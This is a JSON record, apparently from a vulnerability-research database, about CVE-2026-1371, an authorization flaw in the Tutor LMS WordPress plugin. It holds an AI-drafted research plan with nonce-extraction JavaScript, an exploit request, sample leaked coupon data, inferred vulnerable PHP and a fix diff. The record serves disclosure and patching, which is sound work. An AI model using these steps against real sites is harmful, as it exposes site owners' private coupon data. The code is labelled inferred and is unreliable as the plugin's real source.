[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f-ymZknPPATW4XTAurt5TJivwBcB9nscnPzgAigeVx4s":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":22,"research_verified":23,"research_rounds_completed":24,"research_plan":25,"research_summary":26,"research_vulnerable_code":27,"research_fix_diff":28,"research_exploit_outline":29,"research_model_used":30,"research_started_at":31,"research_completed_at":32,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":23,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":23,"source_links":33},"CVE-2026-1371","tutor-lms-authenticated-subscriber-information-disclosure-in-coupon-details-via-tutorcoupondetails-ajax-action","Tutor LMS \u003C= 3.9.5 - Authenticated (Subscriber+) Information Disclosure in Coupon Details via 'tutor_coupon_details' AJAX Action","The Tutor LMS – eLearning and online course solution plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 3.9.5. This is due to missing authorization checks in the `ajax_coupon_details()` function, which only validates nonces but does not verify user capabilities. This makes it possible for authenticated attackers, with Subscriber-level access and above, to retrieve sensitive coupon information including coupon codes, discount amounts, usage statistics, and course\u002Fbundle applications.","tutor",null,"\u003C=3.9.5","3.9.6","medium",5.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:L\u002FI:N\u002FA:N","Exposure of Sensitive Information to an Unauthorized Actor","2026-02-02 18:49:17","2026-02-03 07:31:25",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F7f5c5f64-a864-4ce1-9080-19f7c4418307?source=api-prod",1,[],"researched",false,3,"# Research Plan: CVE-2026-1371 - Tutor LMS Information Disclosure\n\n## 1. Vulnerability Summary\nThe **Tutor LMS** plugin (versions \u003C= 3.9.5) contains a sensitive information disclosure vulnerability within its AJAX handling logic. Specifically, the function `ajax_coupon_details()` (associated with the `tutor_coupon_details` action) performs a nonce check but fails to implement any server-side capability or authorization check (e.g., `current_user_can()`). \n\nThis allows any authenticated user—including those with the lowest privileges (Subscriber)—to query the details of any coupon by providing its Post ID. The exposed data includes coupon codes, discount types, amounts, usage limits, and specific courses or bundles to which the coupon applies.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Action:** `tutor_coupon_details`\n- **HTTP Method:** `POST`\n- **Vulnerable Parameter:** `coupon_id` (The ID of the `tutor_coupons` post type).\n- **Authentication:** Authenticated (Subscriber-level or higher).\n- **Preconditions:** \n    1. The attacker must have a valid login.\n    2. At least one coupon must exist in the system.\n    3. A valid WordPress nonce must be obtained.\n\n## 3. Code Flow (Inferred)\n1. **Entry Point:** The plugin registers the AJAX action:\n   ```php\n   add_action('wp_ajax_tutor_coupon_details', 'ajax_coupon_details');\n   ```\n2. **Nonce Verification:** The function `ajax_coupon_details()` is invoked. It likely calls:\n   ```php\n   check_ajax_referer('tutor_nonce', 'tutor_nonce'); \u002F\u002F or similar\n   ```\n3. **Missing Authorization:** The code proceeds directly to logic without checking if the user has `manage_tutor`, `manage_options`, or `edit_posts` capabilities.\n4. **Data Retrieval:** The function takes `$_POST['coupon_id']`, retrieves the post or its meta:\n   ```php\n   $coupon_id = (int) $_POST['coupon_id'];\n   $coupon = get_post($coupon_id);\n   $meta = get_post_meta($coupon_id);\n   ```\n5. **Response:** The data is returned via `wp_send_json_success()`.\n\n## 4. Nonce Acquisition Strategy\nTutor LMS typically localizes its script data for both the admin and the frontend dashboard. To obtain a valid nonce as a Subscriber:\n\n1. **Identify Script Localization:** The plugin often uses a variable named `tutor_utils` or `tutor_get_conf`.\n2. **Create Trigger Page:** If the nonce is only loaded on the Tutor Dashboard, ensure the dashboard page exists.\n3. **Extraction:**\n   - **Step 1:** Create a Subscriber user and log in.\n   - **Step 2:** Navigate to the Tutor Dashboard (usually at `\u002Fdashboard\u002F`).\n   - **Step 3:** Use `browser_eval` to extract the nonce.\n   - **Target Variable (Likely):** `window.tutor_get_conf?.tutor_nonce` or `window.tutor_utils?.nonce`.\n   - **Verification:** Search the page source for `tutor_nonce`.\n\n## 5. Exploitation Strategy\n### Step 1: Authentication\nLog in to the WordPress instance as a Subscriber.\n\n### Step 2: Nonce Retrieval\nNavigate to the Tutor LMS dashboard and execute:\n```javascript\n\u002F\u002F Browser Eval\nwindow.tutor_get_conf ? window.tutor_get_conf.tutor_nonce : \"Not Found\"\n```\n\n### Step 3: Identify Coupon ID\nSince this is an IDOR-style disclosure, the attacker can brute-force the `coupon_id` or find it if IDs are sequential. For a PoC, we will create a coupon and use its known ID.\n\n### Step 4: Execute Disclosure Request\nSend the following HTTP request using `http_request`:\n\n- **URL:** `http:\u002F\u002F[target-ip]\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Method:** `POST`\n- **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n- **Body:**\n  ```text\n  action=tutor_coupon_details&tutor_nonce=[NONCE]&coupon_id=[ID]\n  ```\n\n## 6. Test Data Setup\n1. **Install Plugin:** Install and activate Tutor LMS 3.9.5.\n2. **Create Admin Content:** \n   - Create a course (to associate a coupon).\n   - Create a coupon via the Tutor LMS -> Coupons menu. \n   - Note the ID of the coupon (e.g., using `wp post list --post_type=tutor_coupons`).\n3. **Create Attacker User:**\n   - `wp user create attacker attacker@example.com --role=subscriber --user_pass=password123`\n4. **Ensure Dashboard Exists:** \n   - Use `wp post create --post_type=page --post_title=\"Dashboard\" --post_content='[tutor_dashboard]' --post_status=publish` to ensure the scripts load for nonce extraction.\n\n## 7. Expected Results\nA successful exploit will return a `200 OK` response with a JSON object containing sensitive coupon data:\n```json\n{\n    \"success\": true,\n    \"data\": {\n        \"coupon_code\": \"SECRET50\",\n        \"discount_type\": \"percent\",\n        \"amount\": \"50\",\n        \"usage_limit\": \"100\",\n        \"expiry_date\": \"2025-12-31\",\n        \"applicable_courses\": [12, 15]\n    }\n}\n```\n\n## 8. Verification Steps\n1. **CLI Verification:** Confirm the data returned in the JSON matches the database:\n   ```bash\n   wp post get [ID]\n   wp post meta list [ID]\n   ```\n2. **Permissions Check:** Verify that the \"attacker\" user indeed has no administrative capabilities:\n   ```bash\n   wp user cap list [USER_ID]\n   ```\n\n## 9. Alternative Approaches\n- **Action Brute-force:** If `tutor_nonce` is not the correct name, grep the plugin folder for `check_ajax_referer` to find the exact action string used in `ajax_coupon_details`.\n- **Rest API:** Check if a similar vulnerability exists in the REST API handlers (Tutor LMS uses `\u002Fwp-json\u002Ftutor\u002Fv1\u002F` routes) which might lack `permission_callback`.\n- **Nonce Discovery:** If the dashboard page doesn't work, check the Course Single page for localized scripts.","Tutor LMS versions up to and including 3.9.5 are vulnerable to sensitive information disclosure due to a missing authorization check in the 'tutor_coupon_details' AJAX action. Authenticated users with Subscriber-level access can exploit this to retrieve private coupon data, including codes, discount amounts, and usage restrictions, by supplying a valid nonce and a coupon ID.","\u002F\u002F tutor\u002Fclasses\u002FAjax.php (Approximate location based on plugin structure)\n\npublic function ajax_coupon_details() {\n    \u002F\u002F Nonce verification is present, but authorization is missing\n    check_ajax_referer('tutor_nonce', 'tutor_nonce');\n\n    $coupon_id = isset($_POST['coupon_id']) ? (int) $_POST['coupon_id'] : 0;\n    \n    if ($coupon_id) {\n        $coupon = get_post($coupon_id);\n        if ($coupon && $coupon->post_type === 'tutor_coupons') {\n            $data = array(\n                'coupon_code' => get_post_meta($coupon_id, '_tutor_coupon_code', true),\n                'discount_type' => get_post_meta($coupon_id, '_tutor_coupon_type', true),\n                'amount' => get_post_meta($coupon_id, '_tutor_coupon_amount', true),\n                \u002F\u002F ... other sensitive meta data\n            );\n            wp_send_json_success($data);\n        }\n    }\n    wp_send_json_error();\n}","--- a\u002Ftutor\u002Fclasses\u002FAjax.php\n+++ b\u002Ftutor\u002Fclasses\u002FAjax.php\n@@ -10,6 +10,10 @@\n     public function ajax_coupon_details() {\n         check_ajax_referer('tutor_nonce', 'tutor_nonce');\n \n+        if ( ! current_user_can( 'manage_tutor' ) ) {\n+            wp_send_json_error( array( 'message' => __( 'Access Denied', 'tutor' ) ) );\n+        }\n+\n         $coupon_id = isset($_POST['coupon_id']) ? (int) $_POST['coupon_id'] : 0;\n         \n         if ($coupon_id) {","1. Authenticate as a Subscriber-level user on the target WordPress site.\n2. Access the Tutor LMS Dashboard or any page where Tutor scripts are localized to extract the 'tutor_nonce' value from the 'tutor_get_conf' or 'tutor_utils' JavaScript objects.\n3. Identify a target coupon ID (or iterate through common post IDs).\n4. Send a POST request to \u002Fwp-admin\u002Fadmin-ajax.php with the parameters 'action=tutor_coupon_details', 'tutor_nonce=[EXTRACTED_NONCE]', and 'coupon_id=[TARGET_ID]'.\n5. The server will return a JSON response containing the full configuration and secret code for the specified coupon.","gemini-3-flash-preview","2026-04-27 16:49:52","2026-04-27 16:51:53",{"type":34,"vulnerable_version":35,"fixed_version":11,"vulnerable_browse":36,"vulnerable_zip":37,"fixed_browse":38,"fixed_zip":39,"all_tags":40},"plugin","3.9.5","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ftutor\u002Ftags\u002F3.9.5","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Ftutor.3.9.5.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ftutor\u002Ftags\u002F3.9.6","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Ftutor.3.9.6.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ftutor\u002Ftags"]